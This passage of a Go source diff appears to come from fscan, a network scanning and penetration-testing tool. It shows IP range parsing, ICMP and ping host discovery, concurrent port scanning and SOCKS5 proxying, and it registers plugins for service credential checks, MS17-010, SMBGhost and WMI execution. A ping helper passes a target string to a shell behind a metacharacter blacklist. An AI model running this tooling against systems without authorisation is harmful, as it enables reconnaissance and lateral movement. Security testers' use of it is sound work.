// 处理CIDR格式 (/24 /16 /8等)
case strings.Contains(ip, "/"):
return parseIP2(ip)
// 处理域名 - 保留域名格式
case reg.MatchString(ip):
return []string{ip}
// 处理IP范围格式 (192.168.1.1-192.168.1.100)
case strings.Contains(ip, "-"):
return parseIP1(ip)
// 处理单个IP地址
default:
testIP := net.ParseIP(ip)
if testIP == nil {
fmt.Printf("[!] 无效的IP地址格式: %s\n", ip)
return nil
}
return []string{ip}
}
}
// parseIP2 解析CIDR格式的IP地址段
func parseIP2(host string) []string {
// 解析CIDR
_, ipNet, err := net.ParseCIDR(host)
if err != nil {
fmt.Printf("[!] CIDR格式解析失败: %s, %v\n", host, err)
return nil
}
// 转换为IP范围并解析
ipRange := IPRange(ipNet)
hosts := parseIP1(ipRange)
fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange)
return hosts
}
// parseIP1 解析IP范围格式的地址
func parseIP1(ip string) []string {
ipRange := strings.Split(ip, "-")
testIP := net.ParseIP(ipRange[0])
var allIP []string
// 处理简写格式 (192.168.111.1-255)
if len(ipRange[1]) < 4 {
endNum, err := strconv.Atoi(ipRange[1])
if testIP == nil || endNum > 255 || err != nil {
fmt.Printf("[!] IP范围格式错误: %s\n", ip)
return nil
}
// 解析IP段
splitIP := strings.Split(ipRange[0], ".")
startNum, err1 := strconv.Atoi(splitIP[3])
endNum, err2 := strconv.Atoi(ipRange[1])
prefixIP := strings.Join(splitIP[0:3], ".")
if startNum > endNum || err1 != nil || err2 != nil {
fmt.Printf("[!] IP范围无效: %d-%d\n", startNum, endNum)
return nil
}
// 生成IP列表
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
}
fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum)
} else {
// 处理完整IP范围格式 (192.168.111.1-192.168.112.255)
splitIP1 := strings.Split(ipRange[0], ".")
splitIP2 := strings.Split(ipRange[1], ".")
if len(splitIP1) != 4 || len(splitIP2) != 4 {
fmt.Printf("[!] IP格式错误: %s\n", ip)
return nil
}
// 解析起始和结束IP
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(splitIP1[i])
ip2, err2 := strconv.Atoi(splitIP2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
fmt.Printf("[!] IP范围无效: %s-%s\n", ipRange[0], ipRange[1])
return nil
}
start[i], end[i] = ip1, ip2
}
// 将IP转换为数值并生成范围内的所有IP
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." +
strconv.Itoa((num>>16)&0xff) + "." +
strconv.Itoa((num>>8)&0xff) + "." +
strconv.Itoa((num)&0xff)
allIP = append(allIP, ip)
}
fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1])
}
return allIP
}
// IPRange 计算CIDR的起始IP和结束IP
func IPRange(c *net.IPNet) string {
// 获取起始IP
start := c.IP.String()
// 获取子网掩码
mask := c.Mask
// 计算广播地址(结束IP)
bcst := make(net.IP, len(c.IP))
copy(bcst, c.IP)
// 通过位运算计算最大IP地址
for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
}
end := bcst.String()
// 返回"起始IP-结束IP"格式的字符串
result := fmt.Sprintf("%s-%s", start, end)
fmt.Printf("[*] CIDR范围: %s\n", result)
return result
}
// Readipfile 从文件中按行读取IP地址
func Readipfile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err)
return nil, err
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行处理IP
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
// 解析IP:端口格式
text := strings.Split(line, ":")
if len(text) == 2 {
port := strings.Split(text[1], " ")[0]
num, err := strconv.Atoi(port)
if err != nil || num < 1 || num > 65535 {
fmt.Printf("[!] 忽略无效端口: %s\n", line)
continue
}
// 解析带端口的IP地址
hosts := ParseIPs(text[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
}
fmt.Printf("[*] 已解析IP端口组合: %s\n", line)
} else {
// 解析纯IP地址
hosts := ParseIPs(line)
content = append(content, hosts...)
fmt.Printf("[*] 已解析IP地址: %s\n", line)
}
}
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
fmt.Printf("[!] 读取文件时出错: %v\n", err)
return content, err
}
fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content))
return content, nil
}
// RemoveDuplicate 对字符串切片进行去重
func RemoveDuplicate(old []string) []string {
// 使用map存储不重复的元素
temp := make(map[string]struct{})
var result []string
// 遍历并去重
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// parseIP8 解析/8网段的IP地址
func parseIP8(ip string) []string {
// 去除CIDR后缀获取基础IP
realIP := ip[:len(ip)-2]
testIP := net.ParseIP(realIP)
if testIP == nil {
fmt.Printf("[!] 无效的IP地址格式: %s\n", realIP)
return nil
}
// 获取/8网段的第一段
ipRange := strings.Split(ip, ".")[0]
var allIP []string
fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange)
// 遍历所有可能的第二、三段
for a := 0; a <= 255; a++ {
for b := 0; b <= 255; b++ {
// 添加常用网关IP
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器
// 随机采样不同范围的IP
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前
}
}
fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP))
return allIP
}
// RandInt 生成指定范围内的随机整数
func RandInt(min, max int) int {
// 参数验证
if min >= max || min == 0 || max == 0 {
return max
}
// 生成随机数
return rand.Intn(max-min) + min
}
+90
View File
@@ -0,0 +1,90 @@
package Common
import (
"fmt"
"sort"
"strconv"
"strings"
)
// ParsePort 解析端口配置字符串为端口号列表
func ParsePort(ports string) []int {
if ports == "" {
return nil
}
var scanPorts []int
slices := strings.Split(ports, ",")
// 处理每个端口配置
for _, port := range slices {
port = strings.TrimSpace(port)
if port == "" {
continue
}
// 处理预定义端口组
if PortGroup[port] != "" {
groupPorts := ParsePort(PortGroup[port])
scanPorts = append(scanPorts, groupPorts...)
fmt.Printf("[*] 解析端口组 %s -> %v\n", port, groupPorts)
continue
}
// 处理端口范围
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
fmt.Printf("[!] 无效的端口范围格式: %s\n", port)
continue
}
// 确保起始端口小于结束端口
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
// 生成端口列表
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
if i > 65535 || i < 1 {
fmt.Printf("[!] 忽略无效端口: %d\n", i)
continue
}
scanPorts = append(scanPorts, i)
}
}
// 去重并排序
scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts)
fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts))
return scanPorts
}
// removeDuplicate 对整数切片进行去重
func removeDuplicate(old []int) []int {
// 使用map存储不重复的元素
temp := make(map[int]struct{})
var result []int
// 遍历并去重
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
+78
View File
@@ -0,0 +1,78 @@
package Common
import (
"errors"
"fmt"
"golang.org/x/net/proxy"
"net"
"net/url"
"strings"
"time"
)
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
}
// WrapperTCP 根据配置创建TCP连接
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
conn, err := forward.Dial(network, address)
if err != nil {
return nil, fmt.Errorf("建立TCP连接失败: %v", err)
}
return conn, nil
}
// Socks5代理模式
dialer, err := Socks5Dialer(forward)
if err != nil {
return nil, fmt.Errorf("创建Socks5代理失败: %v", err)
}
conn, err := dialer.Dial(network, address)
if err != nil {
return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err)
}
return conn, nil
}
// Socks5Dialer 创建Socks5代理拨号器
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
// 解析代理URL
u, err := url.Parse(Socks5Proxy)
if err != nil {
return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err)
}
// 验证代理类型
if strings.ToLower(u.Scheme) != "socks5" {
return nil, errors.New("仅支持socks5代理")
}
address := u.Host
var dialer proxy.Dialer
// 根据认证信息创建代理
if u.User.String() != "" {
// 使用用户名密码认证
auth := proxy.Auth{
User: u.User.Username(),
}
auth.Password, _ = u.User.Password()
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
} else {
// 无认证模式
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
}
if err != nil {
return nil, fmt.Errorf("创建Socks5代理失败: %v", err)
}
return dialer, nil
}
+24
View File
@@ -0,0 +1,24 @@
// Config/types.go
package Common
type HostInfo struct {
Host string
Ports string
Url string
Infostr []string
}
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Port int // 关联的端口号,0表示特殊扫描类型
ScanFunc func(*HostInfo) error // 扫描函数
}
// PluginManager 管理插件注册
var PluginManager = make(map[string]ScanPlugin)
// RegisterPlugin 注册插件
func RegisterPlugin(name string, plugin ScanPlugin) {
PluginManager[name] = plugin
}
+410
View File
@@ -0,0 +1,410 @@
package Core
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/icmp"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
AliveHosts []string // 存活主机列表
ExistHosts = make(map[string]struct{}) // 已发现主机记录
livewg sync.WaitGroup // 存活检测等待组
)
// CheckLive 检测主机存活状态
func CheckLive(hostslist []string, Ping bool) []string {
// 创建主机通道
chanHosts := make(chan string, len(hostslist))
// 处理存活主机
go handleAliveHosts(chanHosts, hostslist, Ping)
// 根据Ping参数选择检测方式
if Ping {
// 使用ping方式探测
RunPing(hostslist, chanHosts)
} else {
probeWithICMP(hostslist, chanHosts)
}
// 等待所有检测完成
livewg.Wait()
close(chanHosts)
// 输出存活统计信息
printAliveStats(hostslist)
return AliveHosts
}
// handleAliveHosts 处理存活主机信息
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
// 输出存活信息
if !Common.Silent {
protocol := "ICMP"
if isPing {
protocol = "PING"
}
fmt.Printf("[+] 目标 %-15s 存活 (%s)\n", ip, protocol)
}
AliveHosts = append(AliveHosts, ip)
}
livewg.Done()
}
}
// probeWithICMP 使用ICMP方式探测
func probeWithICMP(hostslist []string, chanHosts chan string) {
// 尝试监听本地ICMP
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
return
}
Common.LogError(err)
fmt.Println("[-] 正在尝试无监听ICMP探测...")
// 尝试无监听ICMP探测
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
if err == nil {
defer conn2.Close()
RunIcmp2(hostslist, chanHosts)
return
}
Common.LogError(err)
fmt.Println("[-] 当前用户权限不足,无法发送ICMP包")
fmt.Println("[*] 切换为PING方式探测...")
// 降级使用ping探测
RunPing(hostslist, chanHosts)
}
// printAliveStats 打印存活统计信息
func printAliveStats(hostslist []string) {
// 大规模扫描时输出 /16 网段统计
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] B段 %-16s 存活主机数: %d", arrTop[i]+".0.0/16", arrLen[i])
Common.LogSuccess(output)
}
}
// 输出 /24 网段统计
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] C段 %-16s 存活主机数: %d", arrTop[i]+".0/24", arrLen[i])
Common.LogSuccess(output)
}
}
}
// RunIcmp1 使用ICMP批量探测主机存活(监听模式)
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
// 启动监听协程
go func() {
for {
if endflag {
return
}
// 接收ICMP响应
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
// 发送ICMP请求
for _, host := range hostslist {
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
// 等待响应
start := time.Now()
for {
// 所有主机都已响应则退出
if len(AliveHosts) == len(hostslist) {
break
}
// 根据主机数量设置超时时间
since := time.Since(start)
wait := time.Second * 6
if len(hostslist) <= 256 {
wait = time.Second * 3
}
if since > wait {
break
}
}
endflag = true
conn.Close()
}
// RunIcmp2 使用ICMP并发探测主机存活(无监听模式)
func RunIcmp2(hostslist []string, chanHosts chan string) {
// 控制并发数
num := 1000
if len(hostslist) < num {
num = len(hostslist)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
close(limiter)
}
// icmpalive 检测主机ICMP是否存活
func icmpalive(host string) bool {
startTime := time.Now()
// 建立ICMP连接
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil {
return false
}
defer conn.Close()
// 设置超时时间
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
return false
}
// 构造并发送ICMP请求
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
return false
}
// 接收ICMP响应
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
// RunPing 使用系统Ping命令并发探测主机存活
func RunPing(hostslist []string, chanHosts chan string) {
var wg sync.WaitGroup
// 限制并发数为50
limiter := make(chan struct{}, 50)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if ExecCommandPing(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
}
// ExecCommandPing 执行系统Ping命令检测主机存活
func ExecCommandPing(ip string) bool {
// 过滤黑名单字符
forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"}
for _, char := range forbiddenChars {
if strings.Contains(ip, char) {
return false
}
}
var command *exec.Cmd
// 根据操作系统选择不同的ping命令
switch runtime.GOOS {
case "windows":
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
case "darwin":
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false")
default: // linux
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false")
}
// 捕获命令输出
var outinfo bytes.Buffer
command.Stdout = &outinfo
// 执行命令
if err := command.Start(); err != nil {
return false
}
if err := command.Wait(); err != nil {
return false
}
// 分析输出结果
output := outinfo.String()
return strings.Contains(output, "true") && strings.Count(output, ip) > 2
}
// makemsg 构造ICMP echo请求消息
func makemsg(host string) []byte {
msg := make([]byte, 40)
// 获取标识符
id0, id1 := genIdentifier(host)
// 设置ICMP头部
msg[0] = 8 // Type: Echo Request
msg[1] = 0 // Code: 0
msg[2] = 0 // Checksum高位(待计算)
msg[3] = 0 // Checksum低位(待计算)
msg[4], msg[5] = id0, id1 // Identifier
msg[6], msg[7] = genSequence(1) // Sequence Number
// 计算校验和
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8) // 设置校验和高位
msg[3] = byte(check & 255) // 设置校验和低位
return msg
}
// checkSum 计算ICMP校验和
func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
// 按16位累加
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
// 处理奇数长度情况
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
// 将高16位加到低16位
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
// 取反得到校验和
return uint16(^sum)
}
// genSequence 生成ICMP序列号
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8) // 高8位
ret2 := byte(v & 255) // 低8位
return ret1, ret2
}
// genIdentifier 根据主机地址生成标识符
func genIdentifier(host string) (byte, byte) {
return host[0], host[1] // 使用主机地址前两个字节
}
// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
if len(arrInit) == 0 {
return
}
// 统计各网段出现次数
segmentCounts := make(map[string]int)
for _, ip := range arrInit {
segments := strings.Split(ip, ".")
if len(segments) != 4 {
continue
}
// 根据flag确定统计B段还是C段
var segment string
if flag {
segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段
} else {
segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段
}
segmentCounts[segment]++
}
// 创建副本用于排序
sortMap := make(map[string]int)
for k, v := range segmentCounts {
sortMap[k] = v
}
// 获取TOP N结果
for i := 0; i < length && len(sortMap) > 0; i++ {
maxSegment := ""
maxCount := 0
// 查找当前最大值
for segment, count := range sortMap {
if count > maxCount {
maxCount = count
maxSegment = segment
}
}
// 添加到结果集
arrTop = append(arrTop, maxSegment)
arrLen = append(arrLen, maxCount)
// 从待处理map中删除已处理项
delete(sortMap, maxSegment)
}
return
}
+136
View File
@@ -0,0 +1,136 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"sort"
"sync"
"time"
)
// Addr 表示待扫描的地址
type Addr struct {
ip string // IP地址
port int // 端口号
}
// PortScan 执行端口扫描
func PortScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
// 解析端口列表
probePorts := Common.ParsePort(ports)
if len(probePorts) == 0 {
fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports)
return AliveAddress
}
// 排除指定端口
probePorts = excludeNoPorts(probePorts)
// 创建通道
workers := Common.Threads
addrs := make(chan Addr, 100)
results := make(chan string, 100)
var wg sync.WaitGroup
// 接收扫描结果
go collectResults(&AliveAddress, results, &wg)
// 启动扫描协程
for i := 0; i < workers; i++ {
go func() {
for addr := range addrs {
PortConnect(addr, results, timeout, &wg)
wg.Done()
}
}()
}
// 添加扫描目标
for _, port := range probePorts {
for _, host := range hostslist {
wg.Add(1)
addrs <- Addr{host, port}
}
}
wg.Wait()
close(addrs)
close(results)
return AliveAddress
}
// collectResults 收集扫描结果
func collectResults(aliveAddrs *[]string, results <-chan string, wg *sync.WaitGroup) {
for found := range results {
*aliveAddrs = append(*aliveAddrs, found)
wg.Done()
}
}
// PortConnect 尝试连接指定端口
func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp4",
fmt.Sprintf("%s:%v", addr.ip, addr.port),
time.Duration(timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
// 记录开放端口
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
result := fmt.Sprintf("[+] 端口开放 %s", address)
Common.LogSuccess(result)
wg.Add(1)
respondingHosts <- address
}
// NoPortScan 生成端口列表(不进行扫描)
func NoPortScan(hostslist []string, ports string) []string {
var AliveAddress []string
// 解析并排除端口
probePorts := excludeNoPorts(Common.ParsePort(ports))
// 生成地址列表
for _, port := range probePorts {
for _, host := range hostslist {
address := fmt.Sprintf("%s:%d", host, port)
AliveAddress = append(AliveAddress, address)
}
}
return AliveAddress
}
// excludeNoPorts 排除指定的端口
func excludeNoPorts(ports []int) []int {
noPorts := Common.ParsePort(Common.NoPorts)
if len(noPorts) == 0 {
return ports
}
// 使用map过滤端口
temp := make(map[int]struct{})
for _, port := range ports {
temp[port] = struct{}{}
}
for _, port := range noPorts {
delete(temp, port)
}
// 转换为切片并排序
var newPorts []int
for port := range temp {
newPorts = append(newPorts, port)
}
sort.Ints(newPorts)
return newPorts
}
+130
View File
@@ -0,0 +1,130 @@
package Core
import (
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Plugins"
)
func init() {
// 注册标准端口服务扫描
Common.RegisterPlugin("ftp", Common.ScanPlugin{
Name: "FTP",
Port: 21,
ScanFunc: Plugins.FtpScan,
})
Common.RegisterPlugin("ssh", Common.ScanPlugin{
Name: "SSH",
Port: 22,
ScanFunc: Plugins.SshScan,
})
Common.RegisterPlugin("findnet", Common.ScanPlugin{
Name: "FindNet",
Port: 135,
ScanFunc: Plugins.Findnet,
})
Common.RegisterPlugin("netbios", Common.ScanPlugin{
Name: "NetBIOS",
Port: 139,
ScanFunc: Plugins.NetBIOS,
})
Common.RegisterPlugin("smb", Common.ScanPlugin{
Name: "SMB",
Port: 445,
ScanFunc: Plugins.SmbScan,
})
Common.RegisterPlugin("mssql", Common.ScanPlugin{
Name: "MSSQL",
Port: 1433,
ScanFunc: Plugins.MssqlScan,
})
Common.RegisterPlugin("oracle", Common.ScanPlugin{
Name: "Oracle",
Port: 1521,
ScanFunc: Plugins.OracleScan,
})
Common.RegisterPlugin("mysql", Common.ScanPlugin{
Name: "MySQL",
Port: 3306,
ScanFunc: Plugins.MysqlScan,
})
Common.RegisterPlugin("rdp", Common.ScanPlugin{
Name: "RDP",
Port: 3389,
ScanFunc: Plugins.RdpScan,
})
Common.RegisterPlugin("postgres", Common.ScanPlugin{
Name: "PostgreSQL",
Port: 5432,
ScanFunc: Plugins.PostgresScan,
})
Common.RegisterPlugin("redis", Common.ScanPlugin{
Name: "Redis",
Port: 6379,
ScanFunc: Plugins.RedisScan,
})
Common.RegisterPlugin("fcgi", Common.ScanPlugin{
Name: "FastCGI",
Port: 9000,
ScanFunc: Plugins.FcgiScan,
})
Common.RegisterPlugin("memcached", Common.ScanPlugin{
Name: "Memcached",
Port: 11211,
ScanFunc: Plugins.MemcachedScan,
})
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
Name: "MongoDB",
Port: 27017,
ScanFunc: Plugins.MongodbScan,
})
// 注册特殊扫描类型
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
Name: "MS17010",
Port: 445,
ScanFunc: Plugins.MS17010,
})
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
Name: "SMBGhost",
Port: 445,
ScanFunc: Plugins.SmbGhost,
})
Common.RegisterPlugin("web", Common.ScanPlugin{
Name: "WebTitle",
Port: 0,
ScanFunc: Plugins.WebTitle,
})
Common.RegisterPlugin("smb2", Common.ScanPlugin{
Name: "SMBScan2",
Port: 445,
ScanFunc: Plugins.SmbScan2,
})
Common.RegisterPlugin("wmiexec", Common.ScanPlugin{
Name: "WMIExec",
Port: 135,
ScanFunc: Plugins.WmiExec,
})
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
Name: "LocalInfo",
Port: 0,
ScanFunc: Plugins.LocalInfoScan,
})
}
+204
View File
@@ -0,0 +1,204 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
"strconv"
"strings"
"sync"
)
func Scan(info Common.HostInfo) {
fmt.Println("[*] 开始信息扫描...")
// 本地信息收集模块
if Common.Scantype == "localinfo" {
ch := make(chan struct{}, Common.Threads)
wg := sync.WaitGroup{}
AddScan("localinfo", info, &ch, &wg)
wg.Wait()
Common.LogWG.Wait()
close(Common.Results)
fmt.Printf("[✓] 扫描完成 %v/%v\n", Common.End, Common.Num)
return
}
// 解析目标主机IP
Hosts, err := Common.ParseIP(info.Host, Common.HostFile, Common.NoHosts)
if err != nil {
fmt.Printf("[!] 解析主机错误: %v\n", err)
return
}
// 初始化配置
lib.Inithttp()
ch := make(chan struct{}, Common.Threads)
wg := sync.WaitGroup{}
var AlivePorts []string
if len(Hosts) > 0 || len(Common.HostPort) > 0 {
// ICMP存活性检测
if (Common.NoPing == false && len(Hosts) > 1) || Common.Scantype == "icmp" {
Hosts = CheckLive(Hosts, Common.Ping)
fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts))
if Common.Scantype == "icmp" {
Common.LogWG.Wait()
return
}
}
// 端口扫描策略
AlivePorts = executeScanStrategy(Hosts, Common.Scantype)
// 处理自定义端口
if len(Common.HostPort) > 0 {
AlivePorts = append(AlivePorts, Common.HostPort...)
AlivePorts = Common.RemoveDuplicate(AlivePorts)
Common.HostPort = nil
fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts))
}
// 执行扫描任务
fmt.Println("[*] 开始漏洞扫描...")
for _, targetIP := range AlivePorts {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
fmt.Printf("[!] 无效的目标地址格式: %s\n", targetIP)
continue
}
info.Host, info.Ports = hostParts[0], hostParts[1]
executeScanTasks(info, Common.Scantype, &ch, &wg)
}
}
// URL扫描
for _, url := range Common.Urls {
info.Url = url
AddScan("web", info, &ch, &wg)
}
// 等待所有任务完成
wg.Wait()
Common.LogWG.Wait()
close(Common.Results)
fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num)
}
// executeScanStrategy 执行端口扫描策略
func executeScanStrategy(Hosts []string, scanType string) []string {
switch scanType {
case "webonly", "webpoc":
return NoPortScan(Hosts, Common.Ports)
case "hostname":
Common.Ports = "139"
return NoPortScan(Hosts, Common.Ports)
default:
if len(Hosts) > 0 {
ports := PortScan(Hosts, Common.Ports, Common.Timeout)
fmt.Printf("[+] 存活端口数量: %d\n", len(ports))
if scanType == "portscan" {
Common.LogWG.Wait()
return nil
}
return ports
}
}
return nil
}
// executeScanTasks 执行扫描任务
func executeScanTasks(info Common.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) {
if scanType == "all" || scanType == "main" {
// 根据端口选择扫描插件
switch info.Ports {
case "135":
AddScan("findnet", info, ch, wg)
if Common.IsWmi {
AddScan("wmiexec", info, ch, wg)
}
case "445":
AddScan("ms17010", info, ch, wg)
case "9000":
AddScan("web", info, ch, wg)
AddScan("fcgi", info, ch, wg)
default:
// 查找对应端口的插件
for name, plugin := range Common.PluginManager {
if strconv.Itoa(plugin.Port) == info.Ports {
AddScan(name, info, ch, wg)
return
}
}
// 默认执行Web扫描
AddScan("web", info, ch, wg)
}
} else {
// 直接使用指定的扫描类型
AddScan(scanType, info, ch, wg)
}
}
// Mutex用于保护共享资源的并发访问
var Mutex = &sync.Mutex{}
// AddScan 添加扫描任务到并发队列
func AddScan(scantype string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 获取信号量,控制并发数
*ch <- struct{}{}
// 添加等待组计数
wg.Add(1)
// 启动goroutine执行扫描任务
go func() {
defer func() {
wg.Done() // 完成任务后减少等待组计数
<-*ch // 释放信号量
}()
// 增加总任务数
Mutex.Lock()
Common.Num += 1
Mutex.Unlock()
// 执行扫描
ScanFunc(&scantype, &info)
// 增加已完成任务数
Mutex.Lock()
Common.End += 1
Mutex.Unlock()
}()
}
// ScanFunc 执行扫描插件
func ScanFunc(name *string, info *Common.HostInfo) {
defer func() {
if err := recover(); err != nil {
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
}
}()
// 检查插件是否存在
plugin, exists := Common.PluginManager[*name]
if !exists {
fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name)
return
}
// 直接调用扫描函数
if err := plugin.ScanFunc(info); err != nil {
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
}
}
// IsContain 检查切片中是否包含指定元素
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
+88
View File
@@ -0,0 +1,88 @@
# FScan 插件开发指南
## 1. 创建插件
`Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`:
```go
package Plugins
import (
"github.com/shadow1ng/fscan/Common"
)
func MyPluginScan(info *Common.HostInfo) error {
// 1. 基础检查
